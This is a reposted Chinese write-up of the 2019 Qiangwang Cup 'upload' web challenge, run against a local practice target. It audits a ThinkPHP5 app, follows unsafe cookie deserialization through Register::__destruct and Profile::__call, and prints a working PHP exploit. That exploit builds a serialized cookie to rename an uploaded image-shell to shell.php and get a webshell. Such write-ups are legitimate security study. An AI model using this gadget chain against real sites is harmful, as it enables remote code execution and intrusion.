强网杯Web部分review

0x01

上个月强网杯结束,看了一下Web题目,代码审计及php 反序列化等。本着学习的态度,试着本地复现一下。靶机下载:https://github.com/glzjin/qwb_2019_upload

0x02 upload

强网杯Web部分review_第1张图片

注册账号并登入,登入之后可以上传图片,并且可以正常查看。这里可以想到与图片马结合进行getshell。

然后使用目录扫描器,发现 /www.tar.gz 可以下载源码。解压进行代码审计。tp5框架写的,看一下路由信息:

强网杯Web部分review_第2张图片

跟踪一下web模块下的各控制器,大致查看发现,访问这些页面都会调用 login_check 方法,而在该方法里面会将传进来的用户cookie值进行反序列化。

强网杯Web部分review_第3张图片

继续审计 application/web/controller/Profile.php 文件,这个类主要功能是上传文件。在upload_img()方法中,先检查是否登录,再判断是否有文件,然后获取后缀,解析图片判断是否为正常图片,再从临时文件复制到指定路径。最后有 __call 和 __get 两个魔术方法,其中 $this->except,$this->ext、$this->filename_tmp、$this->filename在反序列化时都可以控制。

强网杯Web部分review_第4张图片

__call()魔术方法的定义是在对象中调用一个不可访问方法时,它会被调用。所以需要一个可以触发 __call 方法的地方。而在 application/web/controller/Register.php 文件中存在 __destruct 方法,其中 $this->registed、$this->checker 也可以在反序列化时可控。如果把 $this->checker 赋值为 Register 类,而 Register 类没有 index 方法,所以调用的时候就会触发 __call 方法,这样就形成了一条完整的攻击链,操控 Profile 里的参数,控制其中的 upload_img 方法,改变文件名。

最终的EXP如下:

php
namespace app\web\controller;
use think\Controller;
class Register
{
    public $checker;
    public $registed = false;
    public function __construct($checker){
        $this->checker = $checker;
    }
}
class Profile
{
    public $filename_tmp = './upload/2e25bf05f23b63a5b1f744933543d723/00bf23e130fa1e525e332ff03dae345d.png';
    public $filename = './upload/2e25bf05f23b63a5b1f744933543d723/shell.php';
    public $ext = true;
    public $except = array('index' => 'upload_img');
}
$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));

 设置cookie,然后访问getshell。

强网杯Web部分review_第5张图片

 

转载于:https://www.cnblogs.com/penight/p/10967161.html

你可能感兴趣的:(强网杯Web部分review)